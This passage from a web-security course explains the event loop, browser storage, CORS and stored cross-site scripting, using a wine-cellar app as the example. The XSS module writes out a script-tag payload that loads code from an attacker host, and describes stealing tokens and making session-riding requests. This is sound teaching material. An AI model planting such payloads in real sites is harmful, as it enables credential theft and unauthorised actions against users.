The budget follows from the display. At 60 Hz, a new frame is due every 16.7 ms, and the rendering pipeline needs part of that window. If your JavaScript occupies the thread past the deadline, no frame is produced — not a degraded frame, none. The previous frame stays on screen.

The reason the browser cannot simply interrupt you is run-to-completion: once a function starts, it runs to its end before anything else on that thread happens. This is a language and platform guarantee, and it is load-bearing — without it, another callback could mutate your objects halfway through your function, and JavaScript would need locks. You get simple, race-free code within a task, and you pay for it with the responsibility of returning quickly.

The load-bearing idea

A long task does not make the page slow. It makes the page stop: no paint, no hover, no scroll response, no event dispatch, no spinner, until your function returns. Every mitigation that involves showing the user something during the freeze fails for the same reason — the thread that would draw it is the thread you are holding.

A row of 16.7 millisecond frame budgets with the render pipeline at the end of each, and a 90 millisecond long task overrunning five frames with the dropped paints markedHealthy: work fits inside each frameJS 8 msgold = style, layout, paint, compositeeach cell = one 16.7 ms frame at 60 Hz · a frame is delivered at every boundaryLong task: one function overruns five framesone JavaScript task — 90 ms, cannot be interrupted✕ = frame deadline passed with nothing painted — five dropped framesfirst paint after the task endsInput arriving during the shaded span is queued, not lost — it dispatches all at once afterward.
Figure 5.2 — The frame budget and what a long task does to it. Above, work fits inside each 16.7 ms frame and the pipeline runs at every boundary. Below, one 90 ms function holds the thread across five deadlines; because it cannot be preempted, no frame is produced and no input is dispatched until it returns. This is why a spinner shown at the start of a long synchronous operation never appears.

The event loop

The scheduler is small enough to state in four lines. The call stack holds the currently executing JavaScript. The task queue holds work waiting to run: event handlers for dispatched events, timer callbacks whose delay has elapsed, and completions handed back from browser internals. The event loop waits until the stack is empty, takes the oldest task, and runs it to completion. Then it may render.

Everything follows. Your click handler is a task. A setTimeout callback is a task. The parsing of a fetch response body into your callback is delivered as work that ends up on a queue. None of them can start while the stack is non-empty, which is a precise restatement of the previous section.

The clarifying consequence concerns timers. setTimeout(fn, 100) does not promise to run fn in 100 ms. It promises not to run it sooner than 100 ms: at 100 ms the callback becomes eligible and joins the task queue, and it runs when the loop reaches it. If a 900 ms task is in progress, your 100 ms timer fires at roughly 1,000 ms. Timers set a floor, never a ceiling — which is the whole reason timing hacks fail on the machines that need them most.

Where the concurrency actually is

The browser is genuinely concurrent; your JavaScript is not. Network transfers, disk access, decoding, and timers all run outside the main thread, in browser internals and other processes. What is single-threaded is the execution of your callbacks. Ten parallel fetches really do overlap on the wire; their ten then handlers still run one after another on your one thread.

Microtasks

There is a second queue with different rules. Promise callbacks — every .then, .catch, .finally, and every resumption after an await — go to the microtask queue, and the loop drains that queue completely after each task, before rendering and before taking the next task. Microtasks scheduled by microtasks are drained in the same pass.

Worked example — the ordering everyone gets asked about
console.log("1 sync");
setTimeout(function () { console.log("4 timer"); }, 0);
Promise.resolve().then(function () { console.log("3 microtask"); });
console.log("2 sync");

Output: 1 sync, 2 sync, 3 microtask, 4 timer. The two synchronous logs run first because the current task must finish. The promise callback runs next because the microtask queue drains as soon as the stack empties. The zero-delay timer runs last because it is a task, and the next task is only taken after microtasks are exhausted. A zero-delay timer never beats an already-resolved promise.

The priority is a knife with two edges. It gives you a reliable way to schedule work that must happen before the browser paints — useful, deterministic. It also means a promise chain that keeps scheduling more microtasks never lets the loop reach rendering at all: the queue never empties, so the frame never comes, and the page freezes with the CPU busy in short, individually harmless callbacks.

The starvation case, concretely

A recursive Promise.resolve().then(step) that processes one cellar row per step looks like polite chunking and is the opposite. Each step is a microtask, so all 5,000 run in one drain without a single paint — exactly the freeze the chunking was meant to avoid, but harder to spot in a trace because no individual callback is long. Chunking must yield to the task queue to let rendering in: setTimeout(step, 0), requestAnimationFrame, or scheduler.yield() where available.

Six ticks

One walkthrough, six ticks, drawn from the wine-cellar's list page: the user clicks "Refresh", the app fetches the cellar entries, and the render is heavy. Follow the stack and both queues.

Six labeled ticks of the event loop showing the call stack, task queue, and microtask queue as a click handler runs, a timer fires before the fetch resolves, a long render microtask freezes the UI, and a queued click finally dispatchesSix ticks — refresh the cellar listcall stacktask queuemicrotaskspainttick 1tick 2tick 3tick 4tick 5tick 6onRefresh()fetch + setTimeoutlogDone()render()900 msonRowClick()fetch in flight(off-thread)fetch in flighttimer eligibleresponse arrivesclick (queued,waiting)empty — drainrender enqueuednone yetbutton activenone — frozennew rows paintedthe freeze: 900 ms, one microtaskTick 3 runs before tick 4: a 0 ms timer beats a network response, because the network is not a timer.
Figure 5.1 — Six ticks. (1) The click task runs onRefresh(): it starts a fetch — handed to browser internals, promise pending — and schedules setTimeout(logDone, 0), then returns; the stack empties. (2) The microtask checkpoint finds nothing, so the browser paints the button's active state. (3) The timer's task runs logDone() — before the fetch resolves, because a timer's floor has elapsed and a network response has not arrived. (4) The response arrives; resolving the promise enqueues render as a microtask. (5) render runs as a microtask and takes 900 ms building 5,000 rows synchronously; a second user click sits in the task queue and no paint occurs — this is the freeze. (6) The long task ends, the browser paints the new rows, and the queued click's task finally runs against the updated DOM.

Three lessons are packed into that sequence, and each is a bug someone has shipped. Tick 3 shows that a zero-delay timer is not "immediately after the fetch" — timers and network completions are unrelated clocks, and code that assumes otherwise is a race. Tick 5 shows that microtask priority does not make a callback cheap: 900 ms of work is 900 ms of freeze whether it is a task or a microtask. Tick 6 shows that input during a freeze is queued and then dispatched against a DOM that has since changed — which is how a click intended for one row lands on a different row after a re-sort.

The illusion of concurrency — and the Console

async/await is syntax over promises. await suspends the enclosing function, returns control to the event loop, and resumes the function in a microtask when the awaited promise settles. It creates no thread. It moves no computation off the main thread.

The precise distinction: await fetch(url) yields, because the waiting is done by browser internals and there is genuinely nothing for your thread to do. await computeCellarStatistics(rows) where that function is synchronous yields nothing at all — the function runs to completion on your thread first, and the await merely wraps its already-computed value. Marking something async does not make it non-blocking. If the work is CPU-bound, the honest options are to do less of it, move it to a Web Worker, or split it across tasks with real yields.

The anti-pattern, named

Sprinkling setTimeout on races. Symptom: setTimeout(initChart, 200) in the codebase, with a comment like "wait for data", and an intermittent failure that only reproduces on slow connections or slow devices — the environments the delay was supposed to protect. The delay does not sequence anything; it guesses. Corrective: express the actual dependency. If the chart needs the data, await the fetch and call it in the resolution path; if it needs the DOM, listen for DOMContentLoaded; if it needs a third-party global, use that library's ready callback or a load event. Explicit sequencing is correct at any speed, and any timeout constant is a bug waiting for a slower machine.

The Console, at practitioner level. Three things repay knowing.

Async stack traces. An error thrown inside a then or after an await would naturally have a stack containing only the microtask, since the code that started the operation returned long ago. Devtools stitches the async frames together, so you see the originating call. Turn it off and most async errors become uninvestigable — this is why an error can name a file you have never opened.

The live-object pitfall. console.log(obj) logs a reference, not a snapshot. When you expand it in the panel, devtools reads the object as it is at that moment, which may be several mutations later. This produces the maddening experience of a log that says the array is empty while the expanded view shows twelve items. If you need the state at log time, log a copy — console.log(JSON.parse(JSON.stringify(obj))) — or use console.table for the flat case.

Unhandled rejections. A promise that rejects with no handler reports as an unhandled rejection rather than a thrown error, and it will not stop execution. Code that silently does nothing while the console shows one rejection warning is usually a missing catch in a chain someone forgot to return.

Module 06 Remembering things

This module crosses to the isolation half of the map. Every storage mechanism the browser offers is keyed by origin, which means choosing where to put a value is not an ergonomics decision — it is a decision about which code can read it, and therefore a security decision that happens to be spelled as an API call.

The module builds one asymmetry and then uses it. Everything a page's own script can read, injected script can also read, because injected script is the page's script as far as the platform is concerned. Exactly one storage option is invisible to script, and its protection is narrower than its reputation. Getting that sentence exactly right is what module 08 will spend thirty minutes cashing out.

The storage menagerie

Four mechanisms, all keyed by origin, differing on lifetime, capacity, API shape, and who can read them.

MechanismLifetimeScopeCapacity / APIReadable by page script?
localStorageUntil explicitly clearedOrigin~5 MB, strings only, synchronousYes
sessionStorageUntil the tab closesOrigin, per tab~5 MB, strings only, synchronousYes
IndexedDBUntil explicitly clearedOriginLarge, structured objects, asynchronous, indexedYes
Cookie (default)Session or explicit Expires/Max-AgeDomain + path (looser than origin)~4 KB per cookie, string pairsYes, via document.cookie
Cookie with HttpOnlySession or explicit Expires/Max-AgeDomain + path~4 KB per cookie, string pairsNo

Two operational notes. localStorage is synchronous, so it runs on the main thread — a 2 MB JSON round trip through it on every route change is a long task waiting to happen (module 05's material, arriving from an unexpected direction). And sessionStorage is per tab: two tabs on the same origin have separate sessionStorage, which surprises people who expect it to behave like a session in the server sense, and a duplicated tab inherits a copy rather than sharing one.

Origin-keyed, which means

Data written by https://cellar.example is not visible to https://api.cellar.example, to http://cellar.example, or to any other origin — the browser partitions these stores by the exact origin tuple that module 07 defines. That is a strong boundary between sites and no boundary at all within a site: every script running on the page shares the store, whether it is your bundle, the analytics vendor's script, or something an attacker got rendered into the page.

The cookie's double life

The cookie is the only storage that travels. Everything else sits in the browser until your code reads it and does something. A cookie has two independent access paths, and most confusion about cookies comes from reasoning about one while the other is doing the work.

Path one — the wire. The server sends Set-Cookie: session=8f2c…; HttpOnly; Secure; SameSite=Lax; Path=/. The browser stores it in the cookie jar, which lives in the privileged browser process (module 01's architecture), and attaches it automatically to every subsequent matching request. No JavaScript participates. This is the half Guide Nº 14 traced, and it is why session cookies work on a plain form post with scripting disabled.

Path two — the runtime. Page script reads and writes document.cookie as a string. This is the half that belongs to this guide, and it is the half HttpOnly removes: with the attribute set, the cookie is absent from document.cookie entirely — not empty, not masked, absent — while continuing to be sent on every request.

One cookie shown on both access paths: the wire lane where the server sets it and the browser sends it automatically, and the runtime lane where page script reads document.cookie, with HttpOnly drawn as a gate closing only the runtime laneCookie jarbrowser processWire lane — Guide Nº 14's halfServer — cellar.exampleSet-Cookie: session=8f2c; HttpOnly; SecureCookie: session=8f2c — sent automaticallyEvery matching requestRuntime lane — this guide's halfPage scriptdocument.cookieHttpOnly ✕gate closes this lane only — the cookie is absent, not maskedNon-HttpOnly cookies stillreadable by any script here
Figure 6.1 — One cookie, two access paths. The server sets the cookie and the browser sends it automatically on matching requests — the wire lane, which needs no JavaScript. Page script reads the same jar through document.cookie — the runtime lane. HttpOnly closes only the runtime lane: the cookie disappears from document.cookie while continuing to ride every request, which is precisely why it hides the credential without preventing its use.
Cookies do not scope by origin

Cookies predate the origin model and use a looser one: a domain and a path. A cookie set with Domain=cellar.example is sent to — and readable on — www.cellar.example, api.cellar.example, and any other subdomain, and the scheme is not part of the match (the Secure attribute is what keeps it off plain HTTP). So two documents that the same-origin policy treats as complete strangers can share cookies. Reasoning about cookies with origin rules produces confident, wrong conclusions in both directions — and it means a compromised subdomain is a session-security problem for the whole domain.

The security asymmetry

Here is the asymmetry, stated once, precisely, because module 08 depends on the exact wording.

The load-bearing idea

Every origin-keyed store — localStorage, sessionStorage, IndexedDB, non-HttpOnly cookies — is readable by any script executing in that origin. The browser cannot distinguish your bundle from an analytics vendor's script from a payload an attacker got rendered into the page; all three are same-origin script with identical privileges. An HttpOnly cookie is the single exception: it cannot be read. But it is still attached to requests the page makes, so injected code can use the session without ever seeing it.

Read-versus-ride is the distinction to carry. A token in localStorage can be exfiltrated: three lines of injected script send it to an attacker's server, and it works from anywhere, for as long as the token lives, including after the user closes the browser. An HttpOnly session cookie cannot leave the browser that way — but injected script can call fetch("/cellar-entries", { method: "DELETE" }) from the victim's page, the browser attaches the cookie as it always does, and the server sees an ordinary authenticated request.

So HttpOnly converts an unlimited, portable, durable compromise into one that is confined to the victim's browser and the duration of the payload's execution. That is a genuine and worthwhile reduction, and it is not immunity. No sentence in this course will say HttpOnly defeats XSS, because it does not.

Quadrant chart plotting storage mechanisms against lifetime and script accessibility, with the region readable by an injected payload shadedscript-readable — an XSS payload reads everything herescript-invisiblepersistentsessionlocalStoragesurvives browser restartIndexedDBlarge, structuredsessionStoragedies with the tabcookie (no HttpOnly)also sent on the wireHttpOnly cookiecannot be read by scriptbut still ridden by itShaded region = the blast radius of one injected script. Only the lower-right cell is outside it, and only for reading.Vertical axis is lifetime; horizontal axis is who can read the value.
Figure 6.2 — The storage quadrant. Lifetime runs vertically, script accessibility horizontally. Everything in the shaded left half is readable by any script in the origin, including an injected one, so a token stored there is exfiltrable. Only the HttpOnly cookie sits outside — and the red annotation is the whole nuance: it cannot be read, but injected code can still make authenticated requests with it.

Choosing for the wine cellar

Storage decisions get made in a hurry and inherited for years, so write them down like a decision memo. Here is the wine-cellar app's, in the form it was recorded.

Decision memo — session credential storage, wine-cellar SPA

Question. The SPA at https://cellar.example authenticates against https://api.cellar.example. Where does the session credential live?

Option A — bearer token in localStorage, sent as an Authorization header. Survives the XSS threat: no. Any injected script reads the token and exfiltrates it; the attacker then uses it from their own infrastructure, outside our logging and outside the user's session, until it expires. Survives CSRF: yes — nothing is attached automatically, so a cross-site form post carries no credential. Operationally: simple, no cookie configuration, no CORS credential rules.

Option B — HttpOnly; Secure; SameSite=Lax session cookie. Survives the XSS threat: partially. The credential cannot be read or exfiltrated, so compromise is confined to the victim's browser while the payload runs. Survives CSRF: largely — SameSite=Lax stops the cookie riding cross-site POSTs, and we add a double-submit token on state-changing routes for the remainder. Operationally: requires credentials: "include" on fetches and the exact CORS configuration module 07 covers, since the API is a different origin.

Decision. Option B. The deciding argument is not that B is safe but that A's failure mode is unbounded in space and time — an exfiltrated token works from anywhere, indefinitely — while B's failure mode is bounded to the victim's browser for the duration of the payload. When two options both fail under XSS, prefer the one whose failure is contained.

Residual risk, accepted and recorded. Under XSS, an attacker can still act as the user from the victim's page for as long as the payload runs. Mitigations are therefore not optional: output escaping everywhere (module 08), CSP with a nonce, and server-side anomaly detection on bulk destructive operations. Re-review if we ever move to a token that grants access beyond this API.

Cross-reference. Guide Nº 15 treats token storage in the general case, including refresh-token rotation and the in-memory-token pattern with a silent refresh — which is the option we would revisit if the cookie approach became untenable across origins.

The anti-pattern, named

Tokens in localStorage as a convenience choice. Symptom: a code comment or a pull-request description reading "put the token in localStorage because the cookie config was annoying with CORS." The tell is that the justification is about developer effort and the consequence is about credential theft. Corrective: any storage decision for a credential requires a written threat-model note naming what it survives, what it does not, and the residual risk accepted — the memo above is the whole deliverable, and it takes fifteen minutes.

Module 07 The wall and its gate: origins and CORS

This is the isolation half's central module and the course's longest. Module 06 showed that storage is partitioned by origin; this module defines the origin exactly, states what the wall built on it blocks, and then explains the gate the browser cuts in its own wall — which is what CORS is, despite its reputation as a server security feature.

The reframe is the deliverable. Most CORS frustration comes from believing the server rejected the request. It did not; usually it executed it and answered normally. The browser sent the request, received the response, and refused to give it to the calling script. Once that sentence is true in your head, every console message becomes a pointer to one specific header, and the fix stops being a search.

What an origin is

An origin is the tuple (scheme, host, port). Two URLs are same-origin when all three components match exactly. There is no partial credit, no notion of relatedness, and no special handling of subdomains.

URL AURL BSame origin?Why
https://cellar.example/listhttps://cellar.example/api/v2/winesYesPath is not part of the origin
https://cellar.examplehttps://api.cellar.exampleNoDifferent host — subdomains are unrelated strangers
https://cellar.examplehttp://cellar.exampleNoDifferent scheme
https://cellar.examplehttps://cellar.example:8443NoDifferent port (443 implied on the left)
https://cellar.examplehttps://cellar.example/list?sort=vintage#notesYesQuery and fragment are not part of the origin

The second row is the one that governs this module. The wine-cellar frontend and its API are the same product, the same team, the same certificate authority, the same DNS zone. To the browser they are two unrelated parties, and every request between them is cross-origin.

Origin versus site

You will meet a second, looser unit: the site, roughly the registrable domain (cellar.example) plus scheme. Subdomains share a site and not an origin. Different features use different units — SameSite cookies and site isolation reason about sites, while the same-origin policy and storage partitioning reason about origins. When a rule surprises you, check which unit it uses before concluding it is broken.

The load-bearing wall

The same-origin policy is the default rule: script running in one origin may not read data belonging to another. Concretely, it blocks reaching into another origin's document (touching an iframe's DOM, reading its variables) and reading the response body of a cross-origin fetch or XHR.

What it does not block is where the surprises live. The pre-policy web was built on cross-origin embedding, and breaking it was never an option, so the platform allows embedding while denying reading:

  • <img src> from any origin — the image renders; your script cannot read its pixels (a tainted canvas refuses getImageData).
  • <script src> from any origin — and this one is not merely allowed, it is total: the code runs in your origin, with your privileges. That is the hole module 08 walks through.
  • <link rel=stylesheet>, fonts, media — all embeddable cross-origin.
  • Form posts to any origin — the request is sent with cookies attached; the submitting page just cannot read the response. This is the entire basis of CSRF, which is why SameSite exists.

The asymmetry is the thing to hold: sending is largely allowed; reading is blocked. The policy protects the confidentiality of other origins' data, not the integrity of their state. Every consequence in the next four sections follows from that one sentence.

Two origins inside one browser, showing the same-origin policy blocking DOM access and cross-origin response reading while allowing image loads, form posts and script tags, with an XSS payload drawn already executing inside the victim originone browserOrigin Ahttps://cellar.exampleits DOM · its storage · its cookiesits scripts run with these privilegesOrigin Bhttps://bank.exampleits DOM · its storage · its cookiesread its iframe's DOM ✕ blockedread fetch response body ✕ blockedimg · script · stylesheet · form post ✓ allowedsending is allowed — reading is notXSS payload — already inside Origin A<script>fetch("/cellar-entries") …</script>same-origin by construction · the wall was never crossed — module 08What the wall protects:confidentiality of another origin's datanot the integrity of its state — see CSRF
Figure 7.1 — The wall, its gaps by design, and the way past it. Cross-origin reads — another document's DOM, a fetch response body — are blocked. Cross-origin sends — images, stylesheets, script tags, form posts with cookies attached — have always been allowed, which is why the policy protects confidentiality rather than integrity. The panel at the bottom is module 08's subject: code that executes inside origin A is same-origin by construction, so it never crosses the wall and the wall never applies to it.

CORS is the browser relaxing its own rule

The reframe this module exists for, in one paragraph. The server never blocked anything. When your page at https://cellar.example fetches https://api.cellar.example/cellar-entries, the browser sends the request, the API receives it, executes it, and returns a normal response. The browser then looks for permission to hand that response to the calling script, does not find it, and discards it — reporting a CORS error to the console. The block is entirely inside the browser, on the response side, applied to your own code.

CORS — Cross-Origin Resource Sharing — is the protocol by which the response's owner tells the browser it is willing to be read by a named origin. Access-Control-Allow-Origin: https://cellar.example is not the API defending itself. It is the API saying: a page from this origin may read me. The header is an opt-in to relaxation, and the browser is the only party that enforces anything.

The load-bearing idea

CORS is not a server security feature. It is the browser's rule, relaxed by the resource owner's declaration, enforced by the browser against the page's own script. This is why an origin with no CORS headers is not "more secure" — it is merely unreadable by browsers, while remaining perfectly reachable by every non-browser client on earth.

Two consequences follow immediately, and both are counterintuitive enough to be worth stating separately.

Why curl never sees a CORS error. curl has no origin — it is not a page, it was not loaded from a site, and there is no calling script to protect. It is also not obliged to enforce anyone's policy. It sends the request and prints the response. So "it works in curl" tells you the server executes the request and returns a status; it tells you nothing about whether a browser will let a page read the answer, because those are different questions asked of different enforcers.

For simple requests, the request already ran. A cross-origin POST with a form-style content type is sent without any prior permission check. The server executes it — creates the row, sends the email, charges the card — and only then does the browser withhold the response. A console CORS error on such a request does not mean nothing happened. It means you cannot see what happened.

The preflight dance

Not every request can be sent first and gated afterward. If a cross-origin request could have side effects that predate CORS — a form post, an image load — the platform grandfathers it as simple and gates only the read. Anything more capable must ask permission first.

A request is simple only if all of these hold: the method is GET, HEAD, or POST; the only author-set headers are from a small safe list; and Content-Type is application/x-www-form-urlencoded, multipart/form-data, or text/plain. Anything else — PUT, DELETE, PATCH, an Authorization header, an X-Request-Id header, or Content-Type: application/json — makes the request non-simple, and the browser sends a preflight: an OPTIONS request describing what it intends to do, and refusing to send the real request unless the answer permits it.

Note what that means for the JSON API case: Content-Type: application/json alone triggers preflight. Practically every modern API call preflights, which is why the OPTIONS request is not an exotic event but the normal first half of a cross-origin API call.

Decision tree routing a cross-origin request to either send-now-and-gate-the-read or ask-permission-first, with the wine-cellar's authorization-bearing JSON request traced down the preflight branchCross-origin requestthree tests, all must pass to be simple1 · Method is GET, HEAD, or POST?POST ✓2 · Only safe-listed headers set?Authorization ✕3 · Content-Type is form or text/plain?application/json ✕all three passSimple — send now, gate the readThe request is sent and the server executes it.A CORS error here means the side effect already happened.any test failsNon-simple — ask permission firstBrowser sends OPTIONS declaring method and headers.Real request sent only if the answer permits it.On failure nothing executed — no state changed.wine-cellar POST /cellar-entriesfails tests 2 and 3 independently → preflightEither failure alone is enough; a JSON content type is the usual reason a modern API call preflights.
Figure 7.3 — Simple or preflighted? Three tests decide the route: method, author-set headers, and content type. Pass all three and the request is grandfathered as simple — sent immediately, with only the response read withheld, which is why a console error there can accompany a completed state change. Fail any one and the browser asks first with OPTIONS, so a failure costs nothing. The wine-cellar's create fails two tests independently, on Authorization and on application/json.
Swimlane sequence of a cross-origin POST with CORS preflight, showing the failing OPTIONS exchange whose Access-Control-Allow-Headers omits authorization, the resulting console error, and the corrected exchange belowPage · cellar.exampleBrowserapi.cellar.exampleFailing exchangefetch POST /cellar-entriesAuthorization + Content-Type: application/json → non-simpleOPTIONS /cellar-entriesOrigin: https://cellar.exampleAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: authorization,content-type204 No ContentAccess-Control-Allow-Origin: https://cellar.exampleAccess-Control-Allow-Methods: GET, POSTAccess-Control-Allow-Headers: Content-Type ← authorization missingPOST never sent · promise rejectsConsole:Request header field authorization is not allowed by Access-Control-Allow-Headers in preflight response.Corrected exchange — one header changedOPTIONS /cellar-entries (identical)204 No ContentAccess-Control-Allow-Headers: Content-Type, AuthorizationAccess-Control-Max-Age: 600POST /cellar-entries — the real request, now sent201 Created + Access-Control-Allow-Origin — script may read it
Figure 7.2 — The preflight that failed, and the one header that fixed it. The fetch carries Authorization and Content-Type: application/json, so it is non-simple and the browser asks first with OPTIONS, listing both headers in Access-Control-Request-Headers. The response allows only Content-Type, so the browser refuses to send the POST at all and reports the quoted error. Adding Authorization to Access-Control-Allow-Headers — and nothing else — permits the real request, whose own response must also carry Access-Control-Allow-Origin for the script to read it.

One detail from the failing exchange deserves emphasis, because it is the good news in this module. The POST was never sent. On a preflight failure, no state changes, nothing is created, no charge occurs — the browser stopped before the consequential request. That is the opposite of the simple-request case in the previous section, and the difference is exactly the reason preflight exists.

Reading the error

CORS console messages are precise. Each one names a mechanism and points at a single header. Learn the mapping and stop guessing.

Console message (Chrome)MechanismHeader at faultMinimal fix
No 'Access-Control-Allow-Origin' header is present on the requested resource.The response carried no opt-in at allMissing Access-Control-Allow-Origin on the actual responseAdd it with the caller's exact origin — check the error path too, since 500s often bypass CORS middleware
The 'Access-Control-Allow-Origin' header has a value 'https://www.cellar.example' that is not equal to the supplied origin.Opt-in present, wrong originValue mismatch, exact string comparisonEcho the request's Origin when it is on your allowlist; watch for the www and scheme variants
Request header field authorization is not allowed by Access-Control-Allow-Headers in preflight response.Preflight refused a header the request intends to sendAccess-Control-Allow-Headers on the OPTIONS responseAdd the named header to the list — that one, not *
Method PATCH is not allowed by Access-Control-Allow-Methods in preflight response.Preflight refused the methodAccess-Control-Allow-Methods on the OPTIONS responseAdd the method
The value of the 'Access-Control-Allow-Origin' header must not be the wildcard '*' when the request's credentials mode is 'include'.Credentialed request meeting a wildcardAccess-Control-Allow-Origin: * combined with credentials: "include"Replace * with the specific origin and add Access-Control-Allow-Credentials: true
Response to preflight request doesn't pass access control check: Redirect is not allowed for a preflight request.The OPTIONS was redirectedA redirect in front of the API — often HTTP-to-HTTPS or a trailing-slash ruleCall the final URL directly; preflights may not follow redirects

Three habits make this table faster to apply. Read the message to the end — it names the field. Check whether the failing request is the OPTIONS or the actual request, since the two need different headers on different responses. And confirm the header is present on error responses too: a 500 that skips the CORS middleware surfaces as "no Access-Control-Allow-Origin", which sends people to debug CORS while the actual bug is the 500.

The wildcard-with-credentials rule is not arbitrary

The specification forbids Access-Control-Allow-Origin: * on credentialed requests because the combination would let any site on the internet read a response generated with the victim's cookies. It is the platform refusing to let you write a rule whose meaning is "anyone may read this user's private data." The error message is the specification declining to be misconfigured, not a browser quirk to route around.

Fixing it right

The wine-cellar API's complete CORS configuration, every line justified.

# On the OPTIONS (preflight) response
Access-Control-Allow-Origin: https://cellar.example
Access-Control-Allow-Methods: GET, POST, PATCH, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 600
Vary: Origin

# On every actual response, including errors
Access-Control-Allow-Origin: https://cellar.example
Access-Control-Allow-Credentials: true
Vary: Origin

Allow-Origin names one exact origin, echoed from the request only when it matches an allowlist. Allow-Methods lists what the API actually exposes; adding PUT because it looks tidy grants a capability nobody asked for. Allow-Headers lists the two headers the client actually sends. Allow-Credentials: true is required because the SPA calls with credentials: "include" so the session cookie from module 06 rides along. Max-Age: 600 lets the browser cache the preflight for ten minutes, removing a round trip per call — the single highest-value line for latency. Vary: Origin is the line teams forget: without it, a shared cache can serve a response containing origin A's allow-header to a request from origin B, producing a CORS failure that reproduces for some users and not others, and disappears when you look.

The anti-pattern, named

Access-Control-Allow-Origin: * on an authenticated API. Symptom: a one-line change that makes the error stop in development, usually with a commit message like "fix CORS". What it means is that any website may make requests to this API and read the responses. On a credentialed API the browser refuses the combination outright — so people then "fix" that by reflecting the request's Origin header back unconditionally, which is the same grant written in a way that passes the check. Both make every user's data readable by any site they visit. Corrective: an allowlist compared exactly, with Vary: Origin, and no path where an unrecognized origin is echoed.

The anti-pattern, named

Debugging CORS with curl. Symptom: "I ran it in curl and got 200, so the API is fine — this is a frontend bug." curl proves the server executes the request; the failure is about whether a browser will let a page read the answer. Worse, on a simple cross-origin request the curl result actively misleads: it demonstrates that the request the browser also sent succeeded server-side, which means the console error accompanied a completed state change. Corrective: reproduce with the browser's own OPTIONS request in the Network panel, or with curl -X OPTIONS plus the Origin and Access-Control-Request-* headers so you are asking the same question the browser asked.

A GRC framing

A CORS policy is an access grant, and it deserves the review any access grant gets. Access-Control-Allow-Origin: * on an authenticated endpoint is not a configuration detail — it is a documented decision to permit unauthenticated third-party reads of user data, and it will be read that way in an audit. The version that reflects arbitrary origins is worse, because it produces the same grant while appearing restrictive in the config file. Write the allowlist where a reviewer can find it, and make the deny path the default.

Module 08 When the wall is breached

Module 07 built the wall and the gate. This module is what happens when the attacker does not need either, because their code is executing on your side of the wall with your origin's full privileges. That is the whole of cross-site scripting, and it is why it sits at the top of every browser-side risk list: it does not defeat the same-origin policy, it makes the policy inapplicable.

The module is built around one incident on the wine-cellar app, traced end to end, and it closes the course: the last section returns to module 01's two-tension map with every region filled in, and to the three mysteries the first module filed but did not solve.

Hostile code inside the origin

XSS is attacker-controlled content that ends up executing as code in the victim's origin. That is the whole definition, and the operative word is in. The payload is not reaching across a boundary; it was rendered into the page and now runs with the same privileges as the application's own bundle. Look again at Figure 7.1: the panel at the bottom sits inside origin A. Nothing in that diagram opposes it, because every mechanism in it governs traffic between origins.

The load-bearing idea

XSS does not break the same-origin policy — it renders the policy irrelevant. The browser cannot distinguish injected script from application script, because there is no property that distinguishes them: both were delivered in the origin's HTML and both execute in the origin's context. Any control that works by comparing origins is, by construction, unable to help.

The incident — wine-cellar shared cellars

A user adds a bottle. The wine name field accepts free text, and the value is stored verbatim in Postgres — correctly, since it is data. The shared-cellar page renders each name into the table with a template that interpolates without escaping. One user saves this as a wine name:

Barolo <script src="https://collector.attacker.example/c.js"></script>

Every visitor to that shared cellar — 41 users over nine days, including two support staff viewing customer cellars from the admin console — receives a page whose HTML contains a script tag pointing at the attacker's server. Their browsers do exactly what browsers do: fetch it and run it, in the origin https://cellar.example.

This is stored XSS, the most valuable kind, because the payload is persisted and served to everyone who views the page, with no per-victim delivery required. The two other shapes: reflected XSS, where the payload rides in a URL parameter echoed into the response, so the attacker must get each victim to click a crafted link; and DOM-based XSS, where the server is innocent and client-side code takes a value from the URL or storage and writes it into the page with innerHTML. The distinction matters operationally: stored XSS requires purging the datastore, reflected XSS does not, and DOM-based XSS will not appear anywhere in your server-side logs or in View Source.

Swimlane sequence of the stored XSS incident: the attacker submits a wine name containing a script tag, the server stores and later serves it unescaped, and the victim's browser executes it inside the cellar origin and exfiltrates dataAttackercellar.example serverVictim's browserPOST /cellar-entries name = Barolo <script src=…>stored verbatim — correctGET /cellars/17 (victim, authenticated)HTML with the name interpolated unescaped ← the defectExecuting in https://cellar.examplereads localStorage · reads DOMcalls the API with the sessionPOST https://collector.attacker.example token + cellar dataThe exfiltration leaves the origin freely: the same-origin policy blocks cross-origin reads, not cross-origin sends.
Figure 8.1 — The attack path. The attacker submits a wine name containing a script tag; the server stores it verbatim, which is correct, and later interpolates it into HTML without escaping, which is the defect. The victim's browser receives a document containing the tag and executes it inside https://cellar.example. Exfiltration is unobstructed because sending cross-origin was always allowed — the wall from Figure 7.1 blocks reads, and nothing here is a read.

What the payload reaches

Blast radius, concretely, using the storage inventory from module 06.

Script-readable storage. localStorage["cellar.auth"] — the legacy JWT, 24-hour expiry, full read/write to the API. Three lines of injected script exfiltrate it, and it then works from the attacker's own infrastructure until it expires. Also document.cookie for every cookie without HttpOnly, and everything in IndexedDB.

The DOM. The rendered page, which for the support staff who viewed customer cellars included customer names, addresses, and order history. The payload can also attach listeners: keystrokes in any input, including a password re-entry prompt it renders itself, since it can draw anything it likes and the URL bar will still show your domain with a valid certificate.

The API, with the victim's session. This is the part people miss. fetch("/cellar-entries", { method: "DELETE" }) from the victim's page is a same-origin request; the browser attaches the session cookie exactly as it does for the application's own calls, and the server cannot tell the difference — there is none. So an HttpOnly cookie hides the credential while remaining fully usable.

Read versus ride — the sentence to get right

HttpOnly prevents an injected script from reading the session cookie. It does not prevent it from riding the session: any request the payload makes from the victim's page carries the cookie automatically. The gain is real and worth having — the compromise becomes confined to the victim's browser for the duration of the payload's execution, rather than a portable credential the attacker keeps. But an incident report that says "the cookie was HttpOnly, so the attacker got nothing" has stopped the investigation before asking the important question: what did the payload do with the session while it ran?

What CORS contributes here is nothing, and understanding why consolidates module 07. The exfiltration POST to the attacker's collector is a cross-origin send, which was always permitted; the attacker does not need to read the response, only to deliver the data. And the calls to the wine-cellar's own API are same-origin, so no CORS rule is consulted at all. The isolation machinery is intact and entirely beside the point.

The primary fix: escape at output

The wine name is data. It was data when the user typed it, data in the database, data in the JSON response. It becomes code at exactly one moment: when it is interpolated into a document without being encoded for the context it lands in. So the fix belongs at that moment — output encoding, at render, every time.

Encoding is context-dependent, and this is where the class survives partial fixes. HTML-escaping five characters is correct in element text and insufficient elsewhere:

